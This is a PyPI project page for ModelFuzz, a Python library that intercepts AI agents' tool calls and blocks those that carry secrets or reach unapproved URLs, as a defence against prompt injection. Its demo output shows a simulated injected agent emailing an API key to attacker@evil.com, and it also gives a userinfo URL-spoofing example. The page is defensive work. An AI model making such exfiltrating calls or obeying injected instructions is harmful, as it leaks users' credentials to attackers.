Skip to main content

Runtime guardrails for AI agents.

Project description

ModelFuzz

CI License: MIT Python 3.10+ Code Style: Ruff

Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.


The Problem

LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.

The Solution

ModelFuzz intercepts the tool call at the execution layer, not the prompt layer — every argument is checked against your policies before the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."

Quickstart

from modelfuzz import shield_tool

@shield_tool()
def send_email(to_address: str, subject: str, body: str) -> None:
    smtp.send(to_address, subject, body)

That's it. If any argument trips a policy (by default, a SensitiveDataFilter that catches secrets, passwords, and API keys), the call raises ModelFuzzBlockError before send_email ever executes.

Need custom policies? Build your own engine:

from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool

engine = PolicyEngine([
    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
    URLAllowList(allowed_domains=["api.mycompany.com"]),
])

@shield_tool(engine=engine)
def fetch_url(url: str) -> str:
    ...

The Demo

What it looks like: demo.py simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in @shield_tool() (the attack is blocked before execution).

Run it yourself with uv run python demo.py:

============================================================
 MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
============================================================


============================================================
 PART 1: THE BREACH (UNGUARDED)
============================================================

[!] UNGUARDED AGENT: Executing tool with malicious payload...
  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})

  [!] Simulating email send...
  To: attacker@evil.com
  Subject: Stolen Data
  Body: The user's API_KEY is sk-12345...

============================================================
  🚨 BREACH
============================================================
  Data exfiltrated to attacker@evil.com
============================================================


============================================================
 PART 2: THE SHIELD (MODELFUZZ ACTIVE)
============================================================

[+] GUARDED AGENT: Executing tool with malicious payload...
  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})

  [+] ModelFuzz is intercepting the call...

  [✓] ModelFuzz caught a violation:
      Reason: String contains sensitive keyword: 'secret'

============================================================
  🛡️ MODELFUZZ BLOCKED
============================================================
  Sensitive data exfiltration stopped.
============================================================

How It Works

  • PolicyEngine — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a PolicyResult with the block reason. Policies are plain callables ((value) -> Violation | None), so writing your own is a one-function job.
  • @shield_tool decorator — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises ModelFuzzBlockError; the tool never executes.
  • Default Deny — allowlist rules like URLAllowList block anything not explicitly permitted: unknown domains, userinfo tricks (http://api.internal.com@evil.com), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.

Installation

pip install modelfuzz

Or with uv:

uv add modelfuzz

Contributing

Contributions are welcome. See CONTRIBUTING.md for development setup, testing, and pull-request guidelines.

License

MIT — see LICENSE for details.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

modelfuzz-0.1.1.tar.gz (28.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

modelfuzz-0.1.1-py3-none-any.whl (7.9 kB view details)

Uploaded Python 3

File details

Details for the file modelfuzz-0.1.1.tar.gz.

File metadata

  • Download URL: modelfuzz-0.1.1.tar.gz
  • Upload date:
  • Size: 28.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}

File hashes

Hashes for modelfuzz-0.1.1.tar.gz
Algorithm Hash digest
SHA256 17e9165e3070d7d8e0c8c7eefcb6c15647da89bad781d246601cbec72581e43d
MD5 0f64aa1e0e9697bfa218ee5ba821b831
BLAKE2b-256 4f09549058f65b3eea763058502ef47a39a881292d49bb4631baa68c70f0e84f

See more details on using hashes here.

File details

Details for the file modelfuzz-0.1.1-py3-none-any.whl.

File metadata

  • Download URL: modelfuzz-0.1.1-py3-none-any.whl
  • Upload date:
  • Size: 7.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}

File hashes

Hashes for modelfuzz-0.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 3741c02173a3fdd82dde74d2a1d97516b32590e2a148fdb2fec6c0bcf53a44d2
MD5 4ac092d89eb88b521aed6fd78d010795
BLAKE2b-256 8309faf1ca0694c5658349f3d502e9d7ba6830d2552b4ffda532d365ed3321ef

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page